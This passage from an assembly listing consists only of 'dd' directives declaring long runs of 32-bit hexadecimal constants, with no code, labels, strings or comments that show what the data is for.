9163A71Fh, 911B6648h, 0B6BA6D6Dh, 0F3B334A9h, 26FBFB14h dd 0E6C1EBB2h, 0A2D9B6F4h, 0B8559DDFh, 0B9A84139h, 5AA200CAh dd 6159685Dh, 3DCFF7B5h, 7717A083h, 0DF7F44BDh, 0D021E76Ch dd 981B83D2h, 0D9076782h, 0ADE83FE3h, 7865F9Dh, 0CF87DAC5h dd 0E5C0EF3Ah, 36DF6883h, 5160FA03h, 208604FDh, 8D8BABFAh dd 76611BBBh, 28F654F7h, 0BD582A43h, 247524F3h, 79B8CC3h dd 58037A4Ah, 426A218Ah, 89ABE14Ch, 0CFDEFF74h, 21DA6F96h dd 0CCB84C95h, 0A74740FAh, 6A516DB6h, 0F7C81C31h, 7A824600h dd 0BAAD5552h, 0BE657AB2h, 0F9823518h, 59EAA62Eh, 90E8DC8h dd 92E732FFh, 0C9402E80h, 210B761Ch, 0FE847106h, 7BE669E6h dd 2C6DBD4Fh, 57B80268h, 648A437Dh, 8306874Ah, 94AFCB2Dh dd 0D32B0E53h, 9AF2EE0Eh, 0DC14BC5Ah, 0A8B8A3E2h, 0E432CE3Fh dd 19D71C08h, 88D6F3FBh, 0C8671229h, 0E217E8F3h, 57DD5EF5h dd 0B646207Dh, 5787CB50h, 9D4ACAEh, 16220B1Fh, 0CB0860Eh dd 316A50C9h, 0EFF4819Fh, 8CA44FFCh, 0C3E08CA0h, 0E485F41Ch dd 0E2B6F0B4h, 0C1256025h, 2F0952C0h, 3914D7D6h, 42FE3209h dd 1BBA6480h, 0D40AB9CEh, 4BAEC4C5h, 8131E0CAh, 0C3604207h dd 0CAF37615h, 0ECAC6429h, 6F71728h, 0BEC47693h, 0C84D99CBh dd 94DA8A00h, 0BEFF0CAh, 799582E5h, 0CCB533D8h, 198100C3h dd 92754734h, 0DB6F3641h, 0BB729BEFh, 0CD8EC8D5h, 5D961A1Fh dd 0ADED6049h, 9FE3A5ACh, 0F5EC3E60h, 85DB3A60h, 0D0B612Ah dd 0D039A450h, 19285178h, 5D2FBE42h, 71B86343h, 0B521413Ah dd 0BFBB3A05h, 6F15BFA7h, 0D4452CAEh, 3DD8EC04h, 0F27008Eh dd 7966F29Ch, 90DC497Ch, 921420E0h, 0AF48B761h, 30B5F5EBh dd 340C2CCh, 0C81F4F39h, 98029364h, 5FA694CCh, 69A8BD83h dd 0C7004141h, 42B55D05h, 614916Dh, 6EAE14A1h, 0E72164A2h dd 96831401h, 132F2B7Ch, 6E29A053h, 0C1A379EFh, 35902EABh dd 64BA0966h, 0CE4A8851h, 5AAE1474h, 5F0D05EFh, 5DDE6B4Fh dd 0A21FDEC4h, 83A10FB1h, 0BB734707h, 0F172B21Bh, 0B1C96139h dd 6CA8D8F4h, 0DF7598B9h, 0E1E496C1h, 0BC78C7DAh, 52463582h dd 11D5F8D1h, 53042CA6h, 0A42FC7B8h, 36C092B6h, 0A6A3E66Dh dd 0FFFE6D86h, 6FB7282h, 0A6E040E0h, 0B7EFE879h, 0ECB3C847h dd 91C8BDB1h, 0AAE54D22h, 0FE650C1Dh, 5BD22612h, 66970193h dd 0F16FA6B7h, 96595F2Dh, 1D385456h, 0A038DB29h, 0A4E548E7h dd 5DA3E1F7h, 419C2436h, 9A61310Ah, 9C34D04Fh, 0F3842DD8h dd 2C38E13Ah, 0A317295Ch, 711155C9h, 791EC17h, 922513C8h dd 0D646FC59h, 26B340B4h, 0CE91ED79h, 80048556h, 14BD2082h dd 0CDC8BA3Bh, 0DEECDD16h, 0CA1B7ECFh, 0CF0928B7h, 756A05DFh dd 0C69A3648h, 0F52B3A8Ch, 0DBBA33CAh, 0E1DFA4ABh, 4BDC9B72h dd 471D81F1h, 0ED3CC97Bh, 0C2E09014h, 34F7B7D2h, 0D45977A5h dd 378B28E0h, 4D51E289h, 0A65ABBEAh, 1CE6046h, 4D49950Ah dd 0DDC0DF75h, 8734231h, 0E5980008h, 314D262Ch, 6074E079h dd 5F02FF4Ch, 0C580BDA0h, 99B6C6BDh, 560F7EE7h, 1E63E47Eh dd 18C7B6CEh, 0C671E899h, 828F9437h, 1D294C21h, 2372EF7Fh dd 0FBC50C6Dh, 788C5A6h, 6604F7BEh, 88A6F934h, 0F070E37Fh dd 0E40D385Bh, 0C9ECD062h, 150F858Bh, 4E6140F5h, 2A823581h dd 0E512242Fh, 0FA0F0DD1h, 623CA81Fh, 601DA184h, 3452120h dd 21EB07BCh, 6DC2F8FAh, 0D4F0D71Ch, 3DAA14FDh, 544FAF6Eh dd 68705EE1h, 0A2F7CF1h, 34E6F73Dh, 0E9CDFACAh, 5B417F6Fh dd 0AB4CC46Bh, 70D70679h, 3114B889h, 3737F9B4h, 88EFA671h dd 70B1241h, 0DB6EB60Bh, 53AB3922h, 6EF40C83h, 0F80829EAh dd 9B3B35C1h, 6E192C6Bh, 777F5BCCh, 928FAEB3h, 0CA56BB02h dd 0A7B92CAEh, 0CB00B6A5h, 8DCA9D1Dh, 407B8141h, 76D1D03Dh dd 5E21CC56h, 0D78DB301h, 41B90A3h, 1351C399h, 0CC8C9E80h dd 864F41EBh, 382C2ABFh, 631DAC35h, 4F59C079h, 0F34F3DE2h dd 0D207C51Ah, 51DE6B11h, 0DA7311F1h, 0BEBFD1EBh, 0A73DD067h dd 50392E73h, 41B80610h, 0AE200064h, 0CC0E33C1h, 2345C380h dd 0E0E19B8Ch, 62984D3Ah, 0C1E444DAh, 15F777B0h, 30B97B95h dd 0A31EE981h, 5D1BB9EAh, 3CA6493Bh, 9EF8D27Eh, 8F121E7Ch dd 0E4698ECBh, 98CA5DCDh, 7C636681h, 2A303AF2h, 20533A28h dd 7A05BFAFh, 397D4AC6h, 0FE94D7A1h, 0D5D85CACh, 6AFCA6C4h dd 0A33F5B29h, 0C97AFA7Dh, 480B8218h, 4D00B70Bh, 9EC07086h dd 0FD7AD2F0h, 87A114CFh, 57A7653Bh, 425AB045h, 3ADDE233h dd 2A65FA14h, 5B1DA231h, 0E2F1C6DCh, 0E22C4326h, 0FE3C84FEh dd 316B3942h, 0C24C9C42h, 0BB249B07h, 57FA932Eh, 1C6D4E6Bh dd 0C52880B1h, 0C2714C80h, 31D8864Bh, 2DBD4384h, 0CCD32262h dd 0E6910332h, 0FD88047Eh, 0BC3282CFh, 2C8B1B32h, 0B04E40D6h dd 5811AF9Eh, 8182B8CBh, 0C39B848Bh, 0D86D2FACh, 86DC7A3Ah dd 93D9A1CDh, 0C830B2FAh, 1677600Eh, 0A4A4DA8Ah, 26DB8A8h dd 0A3216FCCh, 29F1896Ah, 5DD0E51Dh, 4A696122h, 6B1A82ABh dd 7A49AABBh, 396FC9FCh, 0A8F18721h, 0F720E741h, 0AC386969h dd 6F742FD2h, 0B03A1DD5h, 2B997A3Bh, 829E00BBh, 0E1132ADBh dd 93B8EDDh, 0FCE830D1h, 61E9D10Bh, 0AF8F6D38h, 3C6961BBh dd 3378706Bh, 68FABDD8h, 0DF4C8E7Ch, 0E87153Bh, 1DDF7A86h dd 0D455F602h, 0C80224F1h, 0A383E4B5h, 4FD504E7h, 9989D7ABh dd 0E2C2BBB9h, 14D054B1h, 606BD3A7h, 4EBADE56h, 0EECF94E8h dd 1A7E9519h, 883D0DE9h, 0B50D83DAh, 0FAD01F00h, 0CC912669h dd 0DA87D660h, 86FC5C04h, 47731EC6h, 0A1C52079h, 39A06712h dd 166C0CD7h, 98DDDB5Bh, 75A3767Ch, 355B4CFDh, 0C22F0982h dd 0D7B489D6h, 0BEBB8E59h, 4388AA38h, 76FA7A3Fh, 0F1457371h dd 0E1FC6A25h, 5B80016Bh, 123EE86Ch, 91C7F2CDh, 8060E7FAh dd 0A18AC758h, 5782A33Ah, 0CDC4CC4Fh, 0B030D76Eh, 5B6E148Ch dd 0CF403A93h, 0F21AD77Eh, 0EE62F705h, 0DD64F68h, 3E9FCBA6h dd 0F9396AFCh, 0A7C13DAh, 0A1A4229Eh, 29CE918Ch, 0C50A4DC0h dd 0F877FA8h, 2EE67A61h, 1B668C89h, 2DC44A9Bh, 0B3EF80C2h dd 0D4B3D990h, 0C655FFB1h, 0E8A8EDF8h, 0B96D2C6Eh, 0CF0AEC7Dh dd 3296301Ch, 0A162BA2Bh, 15D6F79Bh, 0B92C5DBBh, 77A660E4h dd 1FBA1642h, 7145E55Bh dd 298F99B1h, 66CD2E01h, 4B142AF7h, 463EEAC0h, 0A24E5056h dd 0A15BA448h, 0D33564BDh, 0CC90372Bh, 6B39EF04h, 0CE58CBF5h dd 920B1696h, 755296C9h, 349D841Fh, 0DD603B94h, 16D37421h dd 0E42AB6CCh, 0DA3E163Bh, 0DEE4FCA0h, 5FECAB5Eh, 0E3874590h dd 47636A25h, 0FBE26280h, 0E5F0667Ah, 9788CE04h, 0C7328A69h dd 0D4F09D7Ah, 5751A4C1h, 1FAB9216h, 5EB8B568h, 776B9807h dd 7367B38Ah, 0E1C974D6h, 933D1C58h, 1E1B3AC5h, 0B6D3C7E3h dd 0E9892CC9h, 2CF64F85h, 0AF332BB4h, 404E12E8h, 19FDE0C5h dd 0A7D072ACh, 43C59575h, 9BF0D25Bh, 26A3295Eh, 89259A3Bh dd 9295BC15h, 29D2F264h, 838FA179h, 0DD696715h, 2380C2E2h dd 924982h, 1EC4EEDDh, 7E7BC9F9h, 6F37888Dh, 0EAB5F46Eh dd 5CA70BDh, 0CF2E754h, 1C0B6F58h, 0ADD1AC79h, 6851A15Fh dd 42F778EDh, 0E2D326F8h, 0EA5B4F81h, 86A42846h, 228A9CFCh dd 0B9043AFAh, 280455C9h, 0D8CCEC4Ah, 0AB38DBC9h, 0C9CED579h dd 15E6A9ADh, 0DFFFE08Dh, 0E5A9D721h, 0E062FF74h, 6647D5D3h dd 0EC4C346Eh, 67809823h, 0E267DDE4h, 0DEF09628h, 54ABEFFh dd 9ACEB274h, 595327D1h, 0AF52C750h, 0DD3E09Bh, 456703A6h dd 0C148DCD7h, 0B428AE40h, 0E4A4B484h, 0D601C831h, 97DE2C3Ch dd 81B8E876h, 98384742h, 8DF61BA9h, 0B5270C9Fh, 0AADEE840h dd 1CCFB4AEh, 0AAD2014Eh, 0DF7301BBh, 0F178DB3Bh, 19CDE128h dd 88B6B92Dh, 39DEBA70h, 0C787512Ch, 47680057h, 0C6C4F146h dd 9A46101Dh, 0E1346E7Ah, 0BDEB1CF9h, 486720D9h, 222C1227h dd 5D6342E1h, 0D0708216h, 0F85B3294h, 0C8FF910Ah, 0D98408BDh dd 4BF74519h, 0E0408397h, 6ACA39AEh, 9A867086h, 0B2C5FE82h dd 96EC0BFCh, 8B1FE2C5h, 411EDFCFh, 9007AB60h, 2CE987ECh dd 0F9147ADDh, 0F245F541h, 11D74FA8h, 5AFF20EEh, 0E1DEDE99h dd 63B75E11h, 0FE307EABh, 250B3558h, 2A5AA2A2h, 5E40A3F6h dd 3D673CB8h, 9F0A1050h, 5E27D820h, 6D2A8052h, 0D6242920h dd 2A91D1ECh, 0DF192B05h, 9C803DE1h, 81A0C857h, 34C451BFh dd 0FF86A55Eh, 2A8595D4h, 8414B3BCh, 0EB1898ECh, 0D850E28Eh dd 2E287DDFh, 0CEC82C01h, 0A675921h, 9B1ED1B9h, 0EC790E64h dd 9A5763A9h, 62E5A4A1h, 0D638C9Eh, 0E23FB9B2h, 0DA6AD8F4h dd 0E012D3A7h, 2DB5D8BDh, 8AF1D64h, 1533C569h, 48DFEA1Dh dd 0E313A4A3h, 2754DCA6h, 0FE36647Fh, 4F3DC34Fh, 0D33158A7h dd 0CCDE58FDh, 54F8BE53h, 57A703C7h, 25D28425h, 0F5F2276Fh dd 4D7659C9h, 6455E99h, 325613CBh, 72956532h, 8B3F161Eh dd 4D6E0C62h, 0B3E8B7EBh, 1A4D2F5Ah, 0E41ECE43h, 0A39BCE2Eh dd 0C61B6EA4h, 237DB715h, 97B75FCFh, 5C479268h, 32CE8B96h dd 0AEBB3B49h, 0D3E9AF0h, 97CC5806h, 173A921h, 4B197CA3h dd 0CB0A7AB7h, 17044E15h, 0B0D01B17h, 7086CF79h, 0C5B283Ch dd 49FBD7F8h, 54007410h, 0FE829FDh, 0F74FB1ECh, 0AA93F6B1h dd 86067075h, 0DAA06FAh, 0A4C5CC8Fh, 897C5B40h, 2B2F33CFh dd 52EBE6Dh, 0A3605B5h, 0FAD2CE49h, 121DC835h, 0C1C8FB4h dd 67090CCAh, 0C5D0182h, 92974884h, 2189316Dh, 736E5495h dd 2168E897h, 0FFA6AD31h, 6EA2127Ah, 1D4FDA54h, 0B01E60B4h dd 1812B67Bh, 9A7C7599h, 348F6DA3h, 90742D1Ah, 58A572ADh dd 0CDBD5BD4h, 23405002h, 1AC37DD0h, 404AE11Eh, 8CDCA704h dd 9D15756h, 5B3C3C03h, 0DDA39AACh, 0F715295Bh, 0B02F2CD1h dd 33803D5Ch, 20B6BAA4h, 3D45437Fh, 0DE055060h, 47E49FB6h dd 0D3D427A0h, 6AC6397Ch, 0A5B56FE6h, 0C6CEF978h, 30FF23EAh dd 73573BAEh, 2E903796h, 4D916889h, 54801E31h, 4199C5C8h dd 0F49B24CFh, 0CBC52A23h, 7B3B7D8Ch, 0B8D50BC7h, 96185D74h dd 71954360h, 92659C90h, 0D33CD624h, 0F5EF4C63h, 0C1A86CA6h dd 15FF4AFAh, 0AB11A14Ch, 0EAA2346Bh, 0CF9E3E61h, 0A2778164h dd 33A0F8F6h, 648151CCh, 0A87D8FDAh, 69ACEFAh, 4049048h dd 7E9B8A4Ah, 8C72A8DCh, 9794142Ch, 0A6F5E099h, 66011FB7h dd 705A587Bh, 0E6336908h, 0D8198C57h, 2BD514DCh, 5C090F7h dd 266AF6FFh, 3EB2B337h, 7157A4D7h, 2532242Dh, 6E0F2483h dd 0EAA31B24h, 71011ECAh, 345A66A3h, 0FAB7EFD0h, 74051955h dd 0EEE7083Bh, 4FEA29FFh, 4E2BFEADh, 950418FCh, 780ADBD0h dd 0E65E8DC9h, 6F204B78h, 0D7EC0BEEh, 0D921C1F1h, 7B97BF5Ch dd 0C7CC9D62h, 5398E88Ah, 1FCA1959h, 0D8BC1375h, 8964F3E4h dd 0CD2192D6h, 28DEB803h, 0FADBA3B7h, 0BF4A5A0Fh, 0C6518457h dd 7536AABFh, 33E98DB8h, 0BBD46EFBh, 0F845FE50h, 37FBACD4h dd 0B55FB400h, 0EC8377FCh, 0BAF1C1D1h, 0E950D1C0h, 75A77F31h dd 52509AE9h, 71AC7353h, 0F8DB082Ch, 290390A4h, 3EB749FDh dd 0E6B7FC62h, 0ED0619A8h, 9BE5640h, 0E556F59Eh, 0BE59B8D5h dd 0F9CB2232h, 525251F9h, 3759C12Ah, 925DA68Fh, 0C9B8F214h dd 5C9D092h, 0C85A07A5h, 0D8D6FF92h, 7F5FC888h, 8B2ABEF0h dd 0C700E2B7h, 0FE1EA12Ah, 0D2B801D7h, 2143583Ah, 0CF6A7412h dd 0F9297F44h, 2B0F03B9h, 9E38EAC5h, 306A7909h, 0DBD0F890h dd 329F16C2h, 3FA85E29h, 0EEABC418h, 4D974BB9h, 854323C2h dd 0D6FE25D8h, 9737F27h, 0FC73924Dh, 2FCC3150h, 0DC1006ABh dd 0B46B8B6Bh, 0DFE6D746h, 82D3D5DBh, 908A5FF7h, 5E91838Ah dd 0E315AB3h, 43A18B38h, 0BBF4EF30h, 0E42B6EA4h, 0F74B2976h dd 2F0C825Ah, 875618BBh, 0BD5BF9CDh, 79C41BE8h, 92B7E6BAh dd 0D4048863h, 7DDE15D6h, 3A04A460h, 2C314693h, 0E8CE86CBh dd 84DADA74h, 9EDA5049h, 531F51E4h, 0D7DAAE3Ah, 6FA2C068h dd 0C5D51970h, 5BC3DB82h, 339283BEh, 28B0058Ah, 69F26A66h dd 2174AA0Bh, 6A0F67FCh, 9AAD8DD0h, 37AE9041h, 0C17C0CA0h dd 0D33FD758h, 92648AAFh, 1FD328A2h, 0BD792FACh, 256307E8h dd 466776A3h, 3A2F00C0h, 65946FBCh, 4CAAA27Ch, 50966F79h dd 39638C9Dh, 55637CFBh, 4BB05EF7h, 3E56BA36h, 96495401h dd 37052E77h, 4FCCA6A6h, 0BB93B8AAh, 51C82F3Ah, 0DC36B8AAh dd 1EE048BCh, 0DA28D415h, 1D88FDA6h, 81B263EBh, 0F0CD4495h dd 0EB1B8960h, 3BEF4F18h, 0B6B4FDCBh, 857F46A8h, 28EDEB7Ch dd 7BBFC0F1h, 1C53D8ADh, 0C47FF58h, 0B10981B1h, 1ED38088h dd 56EE0D0Ch, 2830B965h, 8C046623h, 0D7EB470Ch, 9477815h dd 0D44CCF7Ah, 35EDAB72h, 7BCE7607h, 31CFB451h, 6083F95h dd 0A388BE9Fh, 261CC38Ah, 9EA52947h, 784F9B18h, 0DA85F3A8h dd 99AD29F2h, 40BA9EE6h, 93090D87h, 0D52B7467h, 0CF9EC777h dd 38A1AE97h, 0F24CF158h, 0F872022Eh, 82F5C5A5h, 499FBB3Ah dd 34FB3EBh, 8947A1A2h, 5499DA0Fh, 0F93596A0h, 0E608F5B2h dd 89F8B543h, 96FD6300h, 0A5967419h, 0DB1DC6BAh, 0F5823372h dd 22D7659h, 388253h, 1FF6814Fh, 2E7B504Fh, 0AB92C453h dd 2A525F78h, 97034AD5h, 0C04E70CDh, 3048AD08h, 254A6E12h dd 0FC6A776Eh, 39AF6CDh, 2704EDFDh, 0FAE49DE9h, 0BDF8246Ch dd 0F799EDF0h, 0CD052825h, 4B912ABAh, 9774EB54h, 5FBF8DA1h dd 0F4BD0374h, 9418E7E0h, 0B361A200h, 70DD97ACh, 0EC91E73Eh dd 0E8BECD4Fh, 2B9295B0h, 8DE277EDh, 4844CFC7h, 591028D6h dd 2DD113C9h, 8BD69553h, 4AE6F92h, 0E5AD80EAh, 17786EBAh dd 0D468CBC1h, 6A54BCB8h, 0D9465323h, 4AC94C63h, 0A4B1C1E3h dd 628CF678h, 0AC6AAE20h dd 0E20284Fh, 88B2A163h, 0E05E0F5Ah, 757B6298h, 1302DDF5h dd 0B938F3D3h, 46C5BC48h, 826156F9h, 6D1621h, 8FD86782h dd 22535C06h, 71B21E62h, 74D3AC3Ah, 37A45CCCh, 0AE9476CFh dd 0EB1BBD60h, 0E16D81EBh, 39CC3B7h, 0C17CBBB1h, 0C8DE4624h dd 3A633BEAh, 0FA7553BFh, 2EF2202Fh, 8F6CA80Dh, 0C4933E67h dd 76329B31h, 0F05E8EA1h, 0D9E8D87Ch, 0F07F055Bh, 3FE9D9A1h dd 0A5A902D2h, 0AB1523DCh, 0E9F2EB36h, 4DA09C9Bh, 0F6EA36F0h dd 7AE0C590h, 5AE0596Ah, 0E7E0CA95h, 27347911h, 0E832A028h dd 5154BA1h, 2B7CADF7h, 0CA554366h, 0AD2B5DB5h, 347EA946h dd 572EE0A4h, 0FA8B16A3h, 0A4D42ACEh, 51620024h, 660510D5h dd 99AFDB09h, 5B47A128h, 6793CAACh, 0EA1DB083h, 30A93CFEh dd 735F2A5Eh, 0EA4E26E3h, 4D04176Bh, 5676A918h, 0C1DD64F5h dd 804F3922h, 44DD316Dh, 98C521E3h, 7115355Dh, 0B48B8DA3h dd 6CCC2A1Fh, 0E8B7E9E7h, 92ACA63Ah, 0F305285Ch, 0C9F0C24Fh dd 4C41777h, 988BB9F8h, 2EDBE388h, 6B2C5B65h, 8A733F06h dd 7CC2C778h, 955E57F9h, 0A4F888ABh, 10A977Ch, 0D0AF360Eh dd 0A2E9D2FCh, 103FA024h, 967F8984h, 9C289CE5h, 85907BF6h dd 83954597h, 4CEB42E4h, 0F1A4C4AFh, 0BC6CA561h, 0B8467CC2h dd 3421011Fh, 8FA08F7Ah, 0FFCDA71Bh, 0AF31B616h, 535DF03Dh dd 48598CA5h, 693F8E00h, 8EF591Dh, 17FAC3DCh, 35E9EB0Dh dd 45DCB07Fh, 0D47CB0C1h, 0B89B6EEh, 6506F110h, 289B27CFh dd 136AA203h, 850A97B8h, 25C32810h, 0F8FE36DDh, 0EA4DBF69h dd 0A37FC685h, 3FC1E6CAh, 804CC5FCh, 0F738965h, 0F12EC246h dd 0E9CD8BA1h, 26A86677h, 0C27C7E60h, 5DB18700h, 0A1A9594Eh dd 0EE6CF8C6h, 42D02EC4h, 676C7756h, 64DFD025h, 6637F046h dd 8F7EE12Dh, 0E3B9C061h, 0D882018Bh, 84D96799h, 5311695h dd 338786E6h, 3862E8DAh, 0A747BFABh, 9490B19Ah, 0AAF57DE8h dd 8E3F9C35h, 0F6C6902Ch, 3A1AB1AFh, 2468C9FEh, 1E93A028h dd 0AA942907h, 5AB805F2h, 0CF8BFB02h, 31DDE154h, 62AC5781h dd 2DE736F9h, 750470BDh, 7F8B7F25h, 20747008h, 0A30E1876h dd 0B3CD43FFh, 0C69A7099h, 438697D3h, 156694B4h, 0FD2A1D7Bh dd 0C70AF1ABh, 69C875B0h, 9325A5E1h, 0C6D5545Eh, 0C7AF063Dh dd 911C1D71h, 31F782D4h, 0F246E77Dh, 0DBD1F223h, 0E57FA4DEh dd 38659490h, 94C95FC1h, 16B9354Eh, 439FC58Bh, 0B91D8B88h dd 73DCF7C7h, 3505F730h, 0CD5C27BAh, 8F9D8E4Eh, 0C6CF52E5h dd 0A37BC3C8h, 4A2A530Eh, 4177B69Bh, 0AF7FC7CAh, 0FC8248AEh dd 0D813496Ah, 0CF9709DAh, 0C331D877h, 0AC06FFFDh, 1BD03687h dd 0FEABDC2Ah, 1AD26CD5h, 7215726Bh, 585391B7h, 751ACAD9h dd 4F57F0A2h, 0ECF8C2B9h, 4A6E05DCh, 0E6311436h, 21CB3D56h dd 0B9F5E190h, 0FD9F5C33h, 71B772ECh, 0F25F338Dh, 2C9A9AD6h dd 11E62500h, 0A5F13C14h, 0D159CE3Dh, 0E2D9AC47h, 0B5EDA883h dd 105138F6h, 266FE4Fh, 9EC5687h, 4905A5A2h, 0A7113DC1h dd 88791849h, 5526B5F3h, 903EB2D7h, 52E0A7AAh, 0CECFEB41h dd 0C6E78FB9h, 7FB7F5B8h, 0A0F1D5EEh, 6C302538h, 0A9F32547h dd 90DE734Eh, 4C727715h, 0EB295864h, 0E8B16F3Dh, 3D6A8B8Fh dd 1A2400DAh, 67ADE5AEh, 0C34BA4A0h, 78716764h, 0B3C4D857h dd 0EE6E0B5h, 0DCA44B40h, 64CB8CBAh, 99A5AA33h, 0A04467A0h dd 0E2878A7Ch, 89A6B2E1h, 6BD5B110h, 0D8705F4Dh, 0CD3AFCABh dd 7577ACEh, 1B431B03h, 9FB4BF0Eh, 26D9744Dh, 786761h dd 0FF7E7363h, 0B1FAA5C8h, 0CD623AB0h, 0DDBFDE35h, 0EEF44C68h dd 7B17CBDAh, 14D1AE4Ah, 416E9DC4h, 0DBDFFB11h, 2714AC2h dd 946C32Ah, 0CA1EEDA0h, 7F3C507Bh, 7A80002Eh, 0BBB52376h dd 5FD719D0h, 74A71D30h, 0B4A50A24h, 27CE3AE4h, 0A15941DAh dd 0D5B223A5h, 67F6E94Dh, 105EAEF6h, 0A16EE285h, 10045D74h dd 727BCF16h, 35374E9Dh, 284C01BFh, 1ABAA6F4h, 8C8CB813h dd 3DDE9010h, 7748AAFCh, 628E755Eh, 2412AB92h, 6970D93Fh dd 322CBE22h, 0C7E9BAAEh, 7B7C30CEh, 0DD723012h, 30C5947Bh dd 2ACA04D0h, 398229FEh, 0D73AC37Ah, 0AA13FE37h, 64BCB53Fh dd 72202960h, 0BBC9F4Bh, 0D294AAA2h, 3465725Ah, 41C4870h dd 0E200E0E6h, 72B37A2Bh, 2F7DD90h, 140A2237h, 0ACAC5165h dd 0A109B38Bh, 83E97E6Fh, 0D3DCD9A9h, 28BED071h, 8E0A5DB0h dd 0DC525D21h, 0D0638FCAh, 0E59C602Fh, 6381F871h, 1699641Ah dd 31FC0EB2h, 91B6B272h, 42385B3Ch, 66924989h, 0FB31FDABh dd 0F78B98BFh, 6C188292h, 628B4B9Fh, 0ED7810FFh, 7A2A8584h dd 8889E789h, 5EC8F161h, 64F5504Dh, 8BC2CF23h, 8C4E3B78h dd 2491635Ah, 0E73088A0h, 1B7E3146h, 5ED5C40Bh, 6B74D25Ah dd 0DBA9E58Dh, 6306B375h, 0B2362EF3h, 77624346h, 0CDBC68B1h dd 0FBE3E696h, 36EE2B41h, 7AC39C1Dh, 78ACF148h, 37A23E34h dd 98E37C68h, 0F8FCAB67h, 0A1C53724h, 9225AF9Bh, 0B8A7CBB2h dd 755BE447h, 7F99F062h, 6DCF7F3h, 4B1A8B41h, 779D474Fh dd 0FE0D2039h, 772C687h, 9E61409Bh, 99100855h, 0CBC58BAAh dd 77C9C3C4h, 6815B79Fh, 2DB5F890h, 0BAC03965h, 32124DBAh dd 9B70A65Ch, 7E72BA38h, 0B83E6871h, 2651F560h, 0EEFFA718h dd 0D7EC6897h, 0BF347B25h, 0BE860AD0h, 5D34C610h, 444179CCh dd 7B2A8CD5h, 3EAE0F7Bh, 1AC2754Ch, 0B922B44Ah, 0B8B6E542h dd 605F5115h, 5286B9CBh, 4CE1579Eh, 0DF27ED5Eh, 98874CFBh dd 87D35441h, 2DFE5AEAh, 41595D68h, 0DCC3FB89h, 286531B9h dd 0E454F978h, 0D9EF5623h, 0C6949827h, 4ED4B50Fh, 304C7411h dd 2E227C3Dh, 4AC881BBh, 36E9AC39h, 3A14FC8Eh, 0F46A04B5h dd 0FBEBE0B9h, 7F63DB00h, 12BA8823h, 7F96C83Dh, 43DCF20Fh dd 0D467E7ADh, 7648A949h, 0EA64B388h, 0D7B785C5h, 9D8CD020h dd 59EC49D7h, 0F586C44h, 31F4812h, 0EA048B1h, 0F0A074A0h dd 0EBCDB092h, 9A7B2D77h, 90976715h, 0B15B8331h, 0C5E81DD8h dd 4E1E18EDh, 4AD22DC6h, 0C92D7011h, 0B65B5299h, 0CDD0212Ah dd 73C45AEEh, 0B0168154h, 71869CE6h, 9B4A3D51h, 0B2D236FEh dd 0A77F4039h, 20C17F65h, 0A9AD283Dh, 772EEEFEh, 0F6A5BE43h dd 7DEE22C6h, 0D4E212Bh, 38E65E23h, 95FE2AE0h, 2B907203h dd 2D44120Ch, 0F7DDE7A4h, 2FB2F73Eh, 16386825h, 85425604h dd 6E114BEBh, 5B9777F8h, 8C2CF889h, 4108641h, 0A88780Fh dd 950BE5EEh, 0B141A653h, 0E52DCF7Ch, 56D78656h, 0DEEE1580h dd 6FB8209Ah, 1DC19941h, 0A272B1F8h, 0E7EA4571h, 97CAF4ABh dd 0A60DB4E5h, 0B2BFE5F9h, 0C3E95518h, 358B96E2h, 0C5F8B8DEh dd 764019BBh, 73A4A61Fh, 2FA3C4E1h, 38D6CA99h, 96018CBCh dd 318C4283h, 5D05263Eh, 0AF1F27A0h, 1249B83Eh, 310971A5h dd 25C12E28h, 0DB063DEEh, 0C91C23DEh, 0EC00F262h, 74D9F8DEh dd 89E4E3BBh, 0B0E0D47Ah, 0A14D2516h, 214EFBA4h, 90F9AB92h dd 7B7DEE7Fh, 0C7A8E926h, 228E2FC6h, 0EC8D345Fh, 0FA4EF88Ch dd 0D336E48h, 635A8E9Ah, 6BD4319Bh, 0E09C68C6h, 2EBA96F9h dd 979240F0h, 232C6816h, 0D788DF24h, 698CC50h, 0B707591h dd 55160EDEh, 2CFD48EDh, 0ED1D9482h, 0BF106441h, 0A8111548h dd 4765242Bh, 0DDA85A58h, 16266DFBh, 47C4B2ECh, 88F79CFEh dd 0A74BDDFCh, 2AF3069Eh, 0A9066940h, 3E148DDFh, 929FFD03h dd 3D01562Dh, 0F18F3E80h dd 119EB448h, 8DF2AC4h, 0B8EB0709h, 0DE5315AEh, 70838FE5h dd 17AD2AF2h, 1538877Bh, 29793D05h, 0A6A2502h, 0F05BCF5Ah dd 0A052D167h, 71AA905Dh, 3707BC37h, 576E731Ah, 0D5182493h dd 709322E4h, 7F5D1427h, 0E2F31008h, 149572CFh, 7D879479h dd 67A5C4C1h, 0FD647864h, 30D39ECFh, 842A58B7h, 0A3F0F6B5h dd 0AD1C8718h, 94094E2Eh, 8460DE98h, 0C5C3761Dh, 8CE1B6ECh dd 0E87B4565h, 514F46FCh, 49E7D526h, 1881A896h, 4268CF40h dd 1449F9FDh, 8795C537h, 5290256Bh, 7C4CFAD2h, 0F3F1A93Fh dd 0E1CE5120h, 81888080h, 0AFC0EDBBh, 60AB690Ah, 0D68FF961h dd 636E192Bh, 27A244E5h, 3E9852D6h, 0DF5C47C9h, 7AAE1A2Dh dd 43327B53h, 0D2CD742Dh, 32320C7Bh, 0AB0DE701h, 83320992h dd 0A807B447h, 0D6E3373Eh, 3675FC62h, 0D61D9D5Dh, 0EB73BE2Eh dd 3E5E5E3Dh, 0B6A02E30h, 74282677h, 5F884972h, 0DD067168h dd 0CA1807F5h, 0FE03802Eh, 0B95A496h, 0DF107C41h, 1B75F8BFh dd 0F08244A6h, 435AC3F7h, 1ACFACD0h, 0CD12D58Fh, 0E3A4E496h dd 0A26E2CE0h, 0A90EF872h, 5945FC21h, 8A00F742h, 0AD89D04h dd 0BF8FE0A6h, 29C036D0h, 29F7BC56h, 235C6FD3h, 0F8B60274h dd 0A9481DF1h, 0C21A196h, 6751BE09h, 89296A49h, 0FFA444C1h dd 20C3F498h, 71BCA04Bh, 62763505h, 40751F25h, 485D3B6Ch dd 1EFFC28Eh, 0E9B460F8h, 0F71AFBD0h, 0AB39AE2h, 9A7AB73Eh dd 0A8DBD3B9h, 8B2971E8h, 339B11B1h, 11A4660Dh, 0B96A8C82h dd 3D07AAE6h, 6F2FB755h, 0A616338Eh, 6E2B5EADh, 86BB96C5h dd 0ECEE5DA0h, 68F4AEE6h, 0DC6EBEBBh, 5C40C1E0h, 5D66D4B6h dd 9B06FDBAh, 4D5DFED2h, 6EBD1F98h, 9663BAEAh, 